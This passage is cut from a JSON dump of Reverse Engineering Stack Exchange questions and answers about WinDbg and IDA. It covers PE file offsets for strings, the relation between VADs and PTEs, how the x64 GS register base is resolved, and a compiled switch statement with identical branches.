        "Answer": "<p>push 402010 is broken down like </p>\n\n<p>402010 - base_address - virtual_address_of_section + file_ptr_to_rawdata</p>\n\n<p>your data has some inconsistencies it must be a counted string or pascal string etc there is a 4 byte mismatch between the addresses 0xc/0x8 </p>\n\n<p>disassembly of a string push</p>\n\n<pre><code>0:000&gt; u . l4\nmsgbox!WinMain:\n002c1000 55              push    ebp\n002c1001 8bec            mov     ebp,esp\n002c1003 6a00            push    0\n002c1005 6810202c00      push    offset msgbox!\u2302USER32_NULL_THUNK_DATA+0x4 (002c2010)\n\n0:000&gt; db 2c2010 l20\n002c2010  57 69 6e 64 20 54 65 73-74 00 00 00 54 65 73 74  Wind Test...Test\n002c2020  20 54 68 65 20 57 69 6e-64 00 00 00 00 00 00 00   The Wind.......\n\n0:000&gt; ? msgbox\nEvaluate expression: 2883584 = 002c0000\n\n0:000&gt; ? 2c2010 -msgbox\nEvaluate expression: 8208 = 00002010\n\n0:000&gt; .shell -ci \"!dh -s msgbox\" grep -A 5 #2\nSECTION HEADER #2\n  .rdata name\n     206 virtual size\n    2000 virtual address\n     400 size of raw data\n     600 file pointer to raw data\n\n\n0:000&gt; ? 0x2010 - 0x2000 + 0x600\nEvaluate expression: 1552 = 00000610\n\n0:000&gt; q\nquit:\n</code></pre>\n\n<p>dispaly on hexeditor </p>\n\n<pre><code>:\\&gt;xxd -g 1 -s 0x610 -l0x20 msgbox.exe\n0000610: 57 69 6e 64 20 54 65 73 74 00 00 00 54 65 73 74  Wind Test...Test\n0000620: 20 54 68 65 20 57 69 6e 64 00 00 00 00 00 00 00   The Wind.......\n</code></pre>\n"
    },
    {
        "Id": "21031",
        "CreationDate": "2019-04-03T14:21:26.970",
        "Body": "<p>[cross-posted (but closed the original) from <a href=\"https://stackoverflow.com/q/55438806/254959]\">https://stackoverflow.com/q/55438806/254959]</a></p>\n\n<p>I'm trying to gain a better understanding on Windows process memory, and have some gaps with regards to the relationship between the VAD tree, the PTEs and loaded modules.</p>\n\n<p>The output below are captured from a kernel debugging session, but in the context of a simple process which runs a simple compiled \"hello world\" C program.</p>\n\n<ol>\n<li>When I do an <code>lm</code>, there are many modules listed, but when I do a !vad, I only see 5 mapped in (my own process binary and 4 other Windows DLLs).</li>\n</ol>\n\n<pre><code>kd&gt; lm\nstart             end                 module name\n00007ffd`ea8f0000 00007ffd`ea91b000   vertdll    (deferred)             \n00007ffd`ea920000 00007ffd`eab00000   ntdll      (pdb symbols)          C:\\ProgramData\\Dbg\\sym\\ntdll.pdb\\13B64B553003FA22AB7CCD36A3A5431F1\\ntdll.pdb\nfffff416`a3800000 fffff416`a3b94000   win32kfull   (deferred)             \nfffff416`a3ba0000 fffff416`a3db2000   win32kbase   (deferred)             \nfffff416`a3dc0000 fffff416`a3dca000   TSDDD      (deferred)             \nfffff416`a3dd0000 fffff416`a3e11000   cdd        (deferred)             \nfffff416`a4290000 fffff416`a4307000   win32k     (deferred)             \nfffff800`a5c01000 fffff800`a64d3000   nt         (pdb symbols)          C:\\ProgramData\\Dbg\\sym\\ntkrnlmp.pdb\\31C51B7D1C2545A88F69E13FC73E68941\\ntkrnlmp.pdb\nfffff800`a64d3000 fffff800`a6552000   hal        (deferred)             \nfffff800`a6600000 fffff800`a6647000   kd_02_8086   (deferred)             \n...\nfffff80b`85960000 fffff80b`8597c000   disk       (deferred)             \n...\n</code></pre>\n\n<pre><code>kd&gt; !vad\nVAD           Level     Start       End Commit\nffff8908f102b0c0  4     7ffe0     7ffe0      1 Private      READONLY           \nffff8908ef465290  3     7ffe1     7ffef     -1 Private      READONLY           \nffff8908f169f100  4   fb63c20   fb63d1f      6 Private      READWRITE          \nffff8908ef4c86e0  2   fb63e00   fb63fff      3 Private      READWRITE          \nffff8908ef17e3b0  3  2e38e030  2e38e03f      0 Mapped       READWRITE          Pagefile section, shared commit 0x10\nffff8908ef592280  4  2e38e040  2e38e046      1 Private      READWRITE          \nffff8908f1873410  1  2e38e050  2e38e068      0 Mapped       READONLY           Pagefile section, shared commit 0x19\nffff8908ef106a00  3  2e38e070  2e38e073      0 Mapped       READONLY           Pagefile section, shared commit 0x4\nffff8908f19eea10  2  2e38e080  2e38e080      0 Mapped       READONLY           Pagefile section, shared commit 0x1\nffff8908f0fba340  3  2e38e090  2e38e090      1 Private      READWRITE          \nffff8908f0fdc980  0  2e38e0a0  2e3900a0      1 Private      READWRITE          \nffff8908ef215060  3  2e390130  2e39022f     17 Private      READWRITE          \nffff8908ef084860  2  2e390230  2e3902f4      0 Mapped       READONLY           \\Windows\\System32\\locale.nls\nffff8908f14e3e90  3 7ff67f9a0 7ff67fa9f      0 Mapped       READONLY           Pagefile section, shared commit 0x5\nffff8908ef3025c0  1 7ff67faa0 7ff67fac2      0 Mapped       READONLY           Pagefile section, shared commit 0x23\nffff8908f0ef7c70  4 7ff67fe30 7ff67fe51      3 Mapped  Exe  EXECUTE_WRITECOPY  \\Users\\user\\Desktop\\test\\x64\\Release\\test.exe\nffff8908ef6ad770  3 7ffde5240 7ffde52c7      5 Mapped  Exe  EXECUTE_WRITECOPY  \\Windows\\System32\\apphelp.dll\nffff8908ef1bcf70  4 7ffde7470 7ffde76d5      8 Mapped  Exe  EXECUTE_WRITECOPY  \\Windows\\System32\\KernelBase.dll\nffff8908f16717a0  2 7ffde9270 7ffde931d      5 Mapped  Exe  EXECUTE_WRITECOPY  \\Windows\\System32\\kernel32.dll\nffff8908f0e50c30  3 7ffdea920 7ffdeaaff     12 Mapped  Exe  EXECUTE_WRITECOPY  \\Windows\\System32\\ntdll.dll\n</code></pre>\n\n<p>When I <code>!pte</code> and even <code>db</code> on one of the modules that is not in the <code>!vad</code> output (specifically, the <code>disk</code> module), it is a valid, mapped-in address, and I can even read its content.</p>\n\n<pre><code>kd&gt; !pte fffff80b`85960000\n                                           VA fffff80b85960000\nPXE at FFFFFB7DBEDF6F80    PPE at FFFFFB7DBEDF0170    PDE at FFFFFB7DBE02E160    PTE at FFFFFB7C05C2CB00\ncontains 0000000001109063  contains 0A0000007E55D863  contains 0A00000002A81863  contains 890000007D044963\npfn 1109      ---DA--KWEV  pfn 7e55d     ---DA--KWEV  pfn 2a81      ---DA--KWEV  pfn 7d044     -G-DA--KW-V\n</code></pre>\n\n<pre><code>kd&gt; db fffff80b`85960000\nfffff80b`85960000  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ..............\nfffff80b`85960010  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ........@.......\nfffff80b`85960020  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\nfffff80b`85960030  00 00 00 00 00 00 00 00-00 00 00 00 d8 00 00 00  ................\nfffff80b`85960040  0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68  ........!..L.!Th\nfffff80b`85960050  69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f  is program canno\nfffff80b`85960060  74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20  t be run in DOS \nfffff80b`85960070  6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00  mode....$.......\n</code></pre>\n\n<p>Why then, does <code>!vad</code> not contain this entry?</p>\n\n<ol start=\"2\">\n<li>When I <code>!dh</code> on one of the loaded PEs, e.g., the EXE for my own process, I can see that it consists of different sections with different memory access protection.</li>\n</ol>\n\n<pre><code>kd&gt; !dh 7ff67fe30000\n\nFile Type: EXECUTABLE IMAGE\nFILE HEADER VALUES\n    8664 machine (X64)\n       6 number of sections\n5CA04653 time date stamp Sat Mar 30 21:47:15 2019\n\n       0 file pointer to symbol table\n       0 number of symbols\n      F0 size of optional header\n      22 characteristics\n            Executable\n            App can handle &gt;2gb addresses\n\n...\n\nSECTION HEADER #1\n   .text name\n   10FA0 virtual size\n    1000 virtual address\n   11000 size of raw data\n...\n60000020 flags\n         Code\n         (no align specified)\n         Execute Read\n\nSECTION HEADER #2\n  .rdata name\n    96F6 virtual size\n   12000 virtual address\n    9800 size of raw data\n   11400 file pointer to raw data\n...\n40000040 flags\n         Initialized Data\n         (no align specified)\n         Read Only\n\n...\n\nSECTION HEADER #6\n  .reloc name\n     614 virtual size\n   21000 virtual address\n     800 size of raw data\n...\n42000040 flags\n         Initialized Data\n         Discardable\n         (no align specified)\n         Read Only\n</code></pre>\n\n<p>And, according to the Windows Internals book,</p>\n\n<blockquote>\n  <p>There is one VAD for each virtually contiguous range of not-free virtual addresses that all have the <strong>same characteristics (reserved versus committed versus mapped, memory access protection</strong>, and so on).</p>\n</blockquote>\n\n<p>So I would expect that each loaded module would be represented by a few VAD entries, for each section with different memory access protection.</p>\n\n<p>But <code>!vad</code> shows each loaded module as a single entry with the permission <code>EXECUTE_WRITECOPY</code>.</p>\n\n<pre><code>kd&gt; !vad\nVAD           Level     Start       End Commit\n...\nffff8908f0ef7c70  4 7ff67fe30 7ff67fe51      3 Mapped  Exe  EXECUTE_WRITECOPY  \\Users\\user\\Desktop\\test\\x64\\Release\\test.exe\nffff8908ef6ad770  3 7ffde5240 7ffde52c7      5 Mapped  Exe  EXECUTE_WRITECOPY  \\Windows\\System32\\apphelp.dll\nffff8908ef1bcf70  4 7ffde7470 7ffde76d5      8 Mapped  Exe  EXECUTE_WRITECOPY  \\Windows\\System32\\KernelBase.dll\nffff8908f16717a0  2 7ffde9270 7ffde931d      5 Mapped  Exe  EXECUTE_WRITECOPY  \\Windows\\System32\\kernel32.dll\nffff8908f0e50c30  3 7ffdea920 7ffdeaaff     12 Mapped  Exe  EXECUTE_WRITECOPY  \\Windows\\System32\\ntdll.dll\n</code></pre>\n\n<p>Why is that so?</p>\n\n<ol start=\"3\">\n<li>In that case, how can I have a complete picture of the memory pages that are accessible by a process, and their associated memory access protection? Initially, I thought of relying on <code>!vad</code> output, but seems like it doesn't give a complete picture? Does it mean that I should iterate through and run <code>!pte</code> on every multiple of 0x1000 from 0x0 to 0xFFFFFFFFFFFFFFFF?</li>\n</ol>\n",
        "Title": "windbg - What is the relation between the VAD (!vad), the PTEs (!pte), and loaded modules and sections (lm and !dh)?",
        "Tags": "|windows|windbg|kernel|",
        "Answer": "<p>when you are in kd session lm displays both kernelmode modules and user mode modules</p>\n\n<p>use lm u to display only usermode modules </p>\n\n<p>this will be consistent with the !vad display </p>\n\n<p>kernel mode modules aren't associated with a single process and as such they are not a part of processes virtual address descriptor table </p>\n\n<p>obviously you can get the pte for any virtual address and obviously you can read from any virtual address </p>\n\n<p>iirc the versus is the qualifier in the Quote  the image VADS all will have MEM_IMAGE as their type and they would be contiguous\nyou cant split them to their individual sections from !vad </p>\n\n<p>you need to be in usermode and do !vadump for the specific image in the specific process</p>\n\n<p>a single CONTIGOUS MEM_IMAGE vad </p>\n\n<pre><code>0: kd&gt; !vad ffffde04de1b7d90\nVAD           Level     Start       End Commit\nffffde04de1b7d90  0 7ffdb7c80 7ffdb7e6c     21 Mapped  Exe  EXECUTE_WRITECOPY  \\Windows\\System32\\ntdll.dll\n\nTotal VADs: 1, average level: 1, maximum depth: 0\nTotal private commit: 0x15 pages (84 KB)\nTotal shared commit:  0 pages (0 KB)\n</code></pre>\n\n<p>I attached this process to a local windbg in the target </p>\n\n<p>the split for this vad </p>\n\n<pre><code>BaseAddress:       00007ffdb7c80000  &lt;&lt; + \nRegionSize:        0000000000001000  &lt;&lt;  ====\nState:             00001000  MEM_COMMIT\nProtect:           00000002  PAGE_READONLY\nType:              01000000  MEM_IMAGE\n\nBaseAddress:       00007ffdb7c81000 &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; + \nRegionSize:        0000000000117000 &lt;&lt; ====\nState:             00001000  MEM_COMMIT\nProtect:           00000020  PAGE_EXECUTE_READ\nType:              01000000  MEM_IMAGE\n\nBaseAddress:       00007ffdb7d98000 &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\nRegionSize:        0000000000047000\nState:             00001000  MEM_COMMIT\nProtect:           00000002  PAGE_READONLY\nType:              01000000  MEM_IMAGE\n\nBaseAddress:       00007ffdb7ddf000\nRegionSize:        0000000000001000\nState:             00001000  MEM_COMMIT\nProtect:           00000004  PAGE_READWRITE\nType:              01000000  MEM_IMAGE\n\nBaseAddress:       00007ffdb7de0000\nRegionSize:        0000000000002000\nState:             00001000  MEM_COMMIT\nProtect:           00000008  PAGE_WRITECOPY\nType:              01000000  MEM_IMAGE\n\nBaseAddress:       00007ffdb7de2000\nRegionSize:        0000000000008000\nState:             00001000  MEM_COMMIT\nProtect:           00000004  PAGE_READWRITE\nType:              01000000  MEM_IMAGE\n\nBaseAddress:       00007ffdb7dea000  &lt;&lt;&lt;&lt; + \nRegionSize:        0000000000083000  &lt;&lt;&lt;  =====      ((00007ffdb7e6d000 - page size) / pagesize)  = vad end  7ffdb7e6c\nState:             00001000  MEM_COMMIT\nProtect:           00000002  PAGE_READONLY\nType:              01000000  MEM_IMAGE\n</code></pre>\n\n<p>the lm in usermode </p>\n\n<pre><code>0:001&gt; lm m ntdll\nBrowse full module list\nstart             end                 module name\n00007ffd`b7c80000 00007ffd`b7e6d000   ntdll     \n</code></pre>\n\n<p>you can do !dh here and add look at the virtual address  each virtual address will match \n!vadumps entry and  will show what different protections are applied </p>\n\n<p>read about VirtualAlloc and Virtual Protect </p>\n\n<p>you can allot a very big memory and change protections for page sizes inbetween them \nthe big allocation is equivalent for vad  while !vadump in usermode will show the virtualprotected state </p>\n\n<p>a process can access only the usermode virtual addresses it cannot access the kernel mode addresses it need a mechanism to do that (syscalls do that work)  </p>\n"
    },
    {
        "Id": "21033",
        "CreationDate": "2019-04-03T16:19:52.543",
        "Body": "<p>I'm trying to understand how to resolve segment addressing (specifically the GS register in X64).</p>\n\n<p>My toy program:</p>\n\n<pre><code>int main()\n{\n    unsigned long long x;\n    __debugbreak();\n    x = __readgsqword(0x30);\n    printf(\"0x%I64X\", x);\n}\n</code></pre>\n\n<p>which compiles to:</p>\n\n<pre><code>kd&gt; u\n00007ff6`10201074 cc                 int     3\n00007ff6`10201075 65488b142530000000 mov   rdx,qword ptr gs:[30h]\n...\n</code></pre>\n\n<p>Then I step once to reach the instruction which reads memory using the <code>GS</code> register, and I retrieve the value of the <code>GS</code> register, the content of the GDT, etc.</p>\n\n<pre><code>kd&gt; r @gs\ngs=002b\n\nkd&gt; r @gdtr\ngdtr=fffff80105471fb0\n\nkd&gt; .formats @gs\nEvaluate expression:\n  Hex:     00000000`0000002b\n  ...\n  Binary:  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00101011\n\nkd&gt; dq (@gdtr + (5 * 8)) L1\nfffff801`05471fd8  00cff300`0000ffff\n\nkd&gt; .formats poi(@gdtr + (5 * 8))\nEvaluate expression:\n  Hex:     00cff300`0000ffff\n  ...\n  Binary:  00000000 11001111 11110011 00000000 00000000 00000000 11111111 11111111\n\nkd&gt; dg gs\n                                                    P Si Gr Pr Lo\nSel        Base              Limit          Type    l ze an es ng Flags\n---- ----------------- ----------------- ---------- - -- -- -- -- --------\n002B 00000000`00000000 00000000`ffffffff Data RW Ac 3 Bg Pg P  Nl 00000cf3\n</code></pre>\n\n<p>So from <code>dg gs</code>, I can see that the <code>GS</code> segment is at offset <code>0x0</code>, which is consistent with the entry retrieved from the GDT using the <code>GS</code> register value.</p>\n\n<p>Observe that at this point, offset <code>0x0</code> is not \"valid\" memory:</p>\n\n<pre><code>kd&gt; dq gs:[30]\n002b:00000000`00000030  ????????`???????? ????????`????????\n\nkd&gt; dq 30\n00000000`00000030  ????????`???????? ????????`????????\n</code></pre>\n\n<p>Also note that the value of <code>RDX</code> at this point (before storing the QWORD retrieved from memory):</p>\n\n<pre><code>kd&gt; r @rdx\nrdx=000001dfbf892d40\n</code></pre>\n\n<p>Then I step once, expecting a bug check as I am retrieving invalid memory.</p>\n\n<p>But surprisingly, it doesn't, and <code>RDX</code> appeared to have gotten assigned a value from <em>somewhere</em>:</p>\n\n<pre><code>kd&gt; r @rdx\nrdx=00000035ed53f000\n</code></pre>\n\n<p>Even more surprising, the <code>GS</code> register still resolves to offset <code>0x0</code> which still contains \"invalid\" memory!</p>\n\n<pre><code>kd&gt; r @gs\ngs=002b\n\nkd&gt; r @gdtr\ngdtr=fffff80105471fb0\n\nkd&gt; dq (@gdtr + (5 * 8)) L1\nfffff801`05471fd8  00cff300`0000ffff\n\nkd&gt; dg gs\n                                                    P Si Gr Pr Lo\nSel        Base              Limit          Type    l ze an es ng Flags\n---- ----------------- ----------------- ---------- - -- -- -- -- --------\n002B 00000000`00000000 00000000`ffffffff Data RW Ac 3 Bg Pg P  Nl 00000cf3\n\nkd&gt; dq gs:[30]\n002b:00000000`00000030  ????????`???????? ????????`????????\n</code></pre>\n\n<p>So...</p>\n\n<ol>\n<li><p>Why does my <code>GS</code> register resolve to offset 0x0?</p></li>\n<li><p>And where/how does the <code>mov rdx,qword ptr gs:[30h]</code> read memory from?</p></li>\n</ol>\n",
        "Title": "windbg - Why does the GS register resolve to offset 0x0?",
        "Tags": "|windows|windbg|kernel|",
        "Answer": "<p>In long mode, segmentation is not really used and all segment registers have base of 0. <code>fs</code> and <code>gs</code> are exceptions that were added to address thread-specific data. Their real base addresses are stored in MSRs (model specific registers) instead of the descriptor table. The MSRs are only accessible in kernel mode, but you can get the value of <code>GS</code> indirectly via the <code>!teb</code> command, or <code>~</code> (list threads). The <code>Teb:</code> field will show the TEB base which matches the <code>GS</code> base for that thread. For more info, check <a href=\"https://wiki.osdev.org/SWAPGS\" rel=\"nofollow noreferrer\">SWAPGS</a> on the Osdev wiki.</p>\n"
    },
    {
        "Id": "21053",
        "CreationDate": "2019-04-05T17:33:37.953",
        "Body": "<p>I use IDA pro and along the analysis I try to understand the following function.\nThere is a simple switch case but it appears that all the 13 switch branches do the EXACT same thing.\nAm I missing something here???\nIn case it does branch to the same 13 identical branches than why is IDA analyzing it like this or, if this is a compiler issue that what the reason behind this?</p>\n\n<p>The code:</p>\n\n<pre><code>        myFunc         proc near               ; CODE XREF: call_BH32_and_BH32func+46\u2191p\n.text:010CA990                                         ; BH32+12\u2191p\n.text:010CA990                                         ; DATA XREF: ...\n.text:010CA990\n.text:010CA990 arg_0           = dword ptr  8\n.text:010CA990 arg_4           = dword ptr  0Ch\n.text:010CA990 arg_8           = dword ptr  10h\n.text:010CA990 arg_C           = dword ptr  14h\n.text:010CA990 arg_10          = dword ptr  18h\n.text:010CA990\n.text:010CA990                 push    ebp\n.text:010CA991                 mov     ebp, esp\n.text:010CA993                 mov     ecx, [ebp+arg_0]\n.text:010CA996                 xor     edx, edx\n.text:010CA998                 push    esi\n.text:010CA999                 mov     esi, [ebp+arg_4]\n.text:010CA99C                 push    edi\n.text:010CA99D                 mov     edi, 0Dh\n.text:010CA9A2                 lea     eax, [ecx+esi]\n.text:010CA9A5                 div     edi\n.text:010CA9A7                 cmp     edx, 0Ch        ; switch 13 cases\n.text:010CA9AA                 ja      loc_10CAAE2     ; jumptable 1017A9B0 default case\n.text:010CA9B0                 jmp     ds:off_10CAAE8[edx*4] ; switch jump\n.text:010CA9B7 ; ---------------------------------------------------------------------------\n.text:010CA9B7\n.text:010CA9B7 loc_10CA9B7:                            ; CODE XREF: myFunc+20\u2191j\n.text:010CA9B7                                         ; DATA XREF: .text:off_10CAAE8\u2193o\n.text:010CA9B7                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 0\n.text:010CA9BA                 push    [ebp+arg_C]\n.text:010CA9BD                 push    [ebp+arg_8]\n.text:010CA9C0                 push    esi\n.text:010CA9C1                 push    ecx\n.text:010CA9C2                 call    nextFunc\n.text:010CA9C7                 add     esp, 14h\n.text:010CA9CA                 pop     edi\n.text:010CA9CB                 pop     esi\n.text:010CA9CC                 pop     ebp\n.text:010CA9CD                 retn\n.text:010CA9CE ; ---------------------------------------------------------------------------\n.text:010CA9CE\n.text:010CA9CE loc_10CA9CE:                            ; CODE XREF: myFunc+20\u2191j\n.text:010CA9CE                                         ; DATA XREF: .text:off_10CAAE8\u2193o\n.text:010CA9CE                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 1\n.text:010CA9D1                 push    [ebp+arg_C]\n.text:010CA9D4                 push    [ebp+arg_8]\n.text:010CA9D7                 push    esi\n.text:010CA9D8                 push    ecx\n.text:010CA9D9                 call    nextFunc\n.text:010CA9DE                 add     esp, 14h\n.text:010CA9E1                 pop     edi\n.text:010CA9E2                 pop     esi\n.text:010CA9E3                 pop     ebp\n.text:010CA9E4                 retn\n.text:010CA9E5 ; ---------------------------------------------------------------------------\n.text:010CA9E5\n.text:010CA9E5 loc_10CA9E5:                            ; CODE XREF: myFunc+20\u2191j\n.text:010CA9E5                                         ; DATA XREF: .text:off_10CAAE8\u2193o\n.text:010CA9E5                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 2\n.text:010CA9E8                 push    [ebp+arg_C]\n.text:010CA9EB                 push    [ebp+arg_8]\n.text:010CA9EE                 push    esi\n.text:010CA9EF                 push    ecx\n.text:010CA9F0                 call    nextFunc\n.text:010CA9F5                 add     esp, 14h\n.text:010CA9F8                 pop     edi\n.text:010CA9F9                 pop     esi\n.text:010CA9FA                 pop     ebp\n.text:010CA9FB                 retn\n.text:010CA9FC ; ---------------------------------------------------------------------------\n.text:010CA9FC\n.text:010CA9FC loc_10CA9FC:                            ; CODE XREF: myFunc+20\u2191j\n.text:010CA9FC                                         ; DATA XREF: .text:off_10CAAE8\u2193o\n.text:010CA9FC                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 3\n.text:010CA9FF                 push    [ebp+arg_C]\n.text:010CAA02                 push    [ebp+arg_8]\n.text:010CAA05                 push    esi\n.text:010CAA06                 push    ecx\n.text:010CAA07                 call    nextFunc\n.text:010CAA0C                 add     esp, 14h\n.text:010CAA0F                 pop     edi\n.text:010CAA10                 pop     esi\n.text:010CAA11                 pop     ebp\n.text:010CAA12                 retn\n.text:010CAA13 ; ---------------------------------------------------------------------------\n.text:010CAA13\n.text:010CAA13 loc_10CAA13:                            ; CODE XREF: myFunc+20\u2191j\n.text:010CAA13                                         ; DATA XREF: .text:off_10CAAE8\u2193o\n.text:010CAA13                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 4\n.text:010CAA16                 push    [ebp+arg_C]\n.text:010CAA19                 push    [ebp+arg_8]\n.text:010CAA1C                 push    esi\n.text:010CAA1D                 push    ecx\n.text:010CAA1E                 call    nextFunc\n.text:010CAA23                 add     esp, 14h\n.text:010CAA26                 pop     edi\n.text:010CAA27                 pop     esi\n.text:010CAA28                 pop     ebp\n.text:010CAA29                 retn\n.text:010CAA2A ; ---------------------------------------------------------------------------\n.text:010CAA2A\n.text:010CAA2A loc_10CAA2A:                            ; CODE XREF: myFunc+20\u2191j\n.text:010CAA2A                                         ; DATA XREF: .text:off_10CAAE8\u2193o\n.text:010CAA2A                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 5\n.text:010CAA2D                 push    [ebp+arg_C]\n.text:010CAA30                 push    [ebp+arg_8]\n.text:010CAA33                 push    esi\n.text:010CAA34                 push    ecx\n.text:010CAA35                 call    nextFunc\n.text:010CAA3A                 add     esp, 14h\n.text:010CAA3D                 pop     edi\n.text:010CAA3E                 pop     esi\n.text:010CAA3F                 pop     ebp\n.text:010CAA40                 retn\n.text:010CAA41 ; ---------------------------------------------------------------------------\n.text:010CAA41\n.text:010CAA41 loc_10CAA41:                            ; CODE XREF: myFunc+20\u2191j\n.text:010CAA41                                         ; DATA XREF: .text:off_10CAAE8\u2193o\n.text:010CAA41                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 6\n.text:010CAA44                 push    [ebp+arg_C]\n.text:010CAA47                 push    [ebp+arg_8]\n.text:010CAA4A                 push    esi\n.text:010CAA4B                 push    ecx\n.text:010CAA4C                 call    nextFunc\n.text:010CAA51                 add     esp, 14h\n.text:010CAA54                 pop     edi\n.text:010CAA55                 pop     esi\n.text:010CAA56                 pop     ebp\n.text:010CAA57                 retn\n.text:010CAA58 ; ---------------------------------------------------------------------------\n.text:010CAA58\n.text:010CAA58 loc_10CAA58:                            ; CODE XREF: myFunc+20\u2191j\n.text:010CAA58                                         ; DATA XREF: .text:off_10CAAE8\u2193o\n.text:010CAA58                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 7\n.text:010CAA5B                 push    [ebp+arg_C]\n.text:010CAA5E                 push    [ebp+arg_8]\n.text:010CAA61                 push    esi\n.text:010CAA62                 push    ecx\n.text:010CAA63                 call    nextFunc\n.text:010CAA68                 add     esp, 14h\n.text:010CAA6B                 pop     edi\n.text:010CAA6C                 pop     esi\n.text:010CAA6D                 pop     ebp\n.text:010CAA6E                 retn\n.text:010CAA6F ; ---------------------------------------------------------------------------\n.text:010CAA6F\n.text:010CAA6F loc_10CAA6F:                            ; CODE XREF: myFunc+20\u2191j\n.text:010CAA6F                                         ; DATA XREF: .text:off_10CAAE8\u2193o\n.text:010CAA6F                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 8\n.text:010CAA72                 push    [ebp+arg_C]\n.text:010CAA75                 push    [ebp+arg_8]\n.text:010CAA78                 push    esi\n.text:010CAA79                 push    ecx\n.text:010CAA7A                 call    nextFunc\n.text:010CAA7F                 add     esp, 14h\n.text:010CAA82                 pop     edi\n.text:010CAA83                 pop     esi\n.text:010CAA84                 pop     ebp\n.text:010CAA85                 retn\n.text:010CAA86 ; ---------------------------------------------------------------------------\n.text:010CAA86\n.text:010CAA86 loc_10CAA86:                            ; CODE XREF: myFunc+20\u2191j\n.text:010CAA86                                         ; DATA XREF: .text:off_10CAAE8\u2193o\n.text:010CAA86                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 9\n.text:010CAA89                 push    [ebp+arg_C]\n.text:010CAA8C                 push    [ebp+arg_8]\n.text:010CAA8F                 push    esi\n.text:010CAA90                 push    ecx\n.text:010CAA91                 call    nextFunc\n.text:010CAA96                 add     esp, 14h\n.text:010CAA99                 pop     edi\n.text:010CAA9A                 pop     esi\n.text:010CAA9B                 pop     ebp\n.text:010CAA9C                 retn\n.text:010CAA9D ; ---------------------------------------------------------------------------\n.text:010CAA9D\n.text:010CAA9D loc_10CAA9D:                            ; CODE XREF: myFunc+20\u2191j\n.text:010CAA9D                                         ; DATA XREF: .text:off_10CAAE8\u2193o\n.text:010CAA9D                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 10\n.text:010CAAA0                 push    [ebp+arg_C]\n.text:010CAAA3                 push    [ebp+arg_8]\n.text:010CAAA6                 push    esi\n.text:010CAAA7                 push    ecx\n.text:010CAAA8                 call    nextFunc\n.text:010CAAAD                 add     esp, 14h\n.text:010CAAB0                 pop     edi\n.text:010CAAB1                 pop     esi\n.text:010CAAB2                 pop     ebp\n.text:010CAAB3                 retn\n.text:010CAAB4 ; ---------------------------------------------------------------------------\n.text:010CAAB4\n.text:010CAAB4 loc_10CAAB4:                            ; CODE XREF: myFunc+20\u2191j\n.text:010CAAB4                                         ; DATA XREF: .text:off_10CAAE8\u2193o\n.text:010CAAB4                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 11\n.text:010CAAB7                 push    [ebp+arg_C]\n.text:010CAABA                 push    [ebp+arg_8]\n.text:010CAABD                 push    esi\n.text:010CAABE                 push    ecx\n.text:010CAABF                 call    nextFunc\n.text:010CAAC4                 add     esp, 14h\n.text:010CAAC7                 pop     edi\n.text:010CAAC8                 pop     esi\n.text:010CAAC9                 pop     ebp\n.text:010CAACA                 retn\n.text:010CAACB ; ---------------------------------------------------------------------------\n.text:010CAACB\n.text:010CAACB loc_10CAACB:                            ; CODE XREF: myFunc+20\u2191j\n.text:010CAACB                                         ; DATA XREF: .text:off_10CAAE8\u2193o\n.text:010CAACB                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 12\n.text:010CAACE                 push    [ebp+arg_C]\n.text:010CAAD1                 push    [ebp+arg_8]\n.text:010CAAD4                 push    esi\n.text:010CAAD5                 push    ecx\n.text:010CAAD6                 call    nextFunc\n.text:010CAADB                 add     esp, 14h\n.text:010CAADE                 pop     edi\n.text:010CAADF                 pop     esi\n.text:010CAAE0                 pop     ebp\n.text:010CAAE1                 retn\n.text:010CAAE2 ; ---------------------------------------------------------------------------\n.text:010CAAE2\n.text:010CAAE2 loc_10CAAE2:                            ; CODE XREF: myFunc+1A\u2191j\n.text:010CAAE2                 pop     edi             ; jumptable 1017A9B0 default case\n.text:010CAAE3                 xor     eax, eax\n.text:010CAAE5                 pop     esi\n.text:010CAAE6                 pop     ebp\n.text:010CAAE7                 retn\n.text:010CAAE7 myFunc       endp\n.text:010CAAE7\n</code></pre>\n",
        "Title": "IDA pro - strange switch statement",
        "Tags": "|ida|assembly|",
        "Answer": "<blockquote>\n  <p>Am I missing something here???</p>\n</blockquote>\n\n<p>No, you aren't. It's just a switch statement with identical branches.</p>\n\n<blockquote>\n  <p>why is IDA analyzing it like this or, if this is a compiler issue that what the reason behind this?</p>\n</blockquote>\n\n<p>IDA is analysing it this way, because it just shows the disassembly of the machine code produced. The compiler could have produced a code more efficient both with respect to size and speed, but probably just optimization wasn't turned on while compiling.</p>\n\n<p>Consider the following code:</p>\n\n<pre><code>#include &lt;iostream&gt;\n\nvoid nextFun()\n{\n\n}\n\nint main()\n{\n    int a;\n    std::cin &gt;&gt; a;\n    switch (a % 6)\n    {\n    case 0:\n        nextFun();\n        break;\n    case 1:\n        nextFun();\n        break;\n    case 2:\n        nextFun();\n        break;\n    case 3:\n        nextFun();\n        break;\n    case 4:\n        nextFun();\n        break;\n    case 5:\n        nextFun();\n        break;\n    }\n}\n</code></pre>\n\n<p>It contains just six cases, but after compilation illustrates the way how resulting machine code will look like. 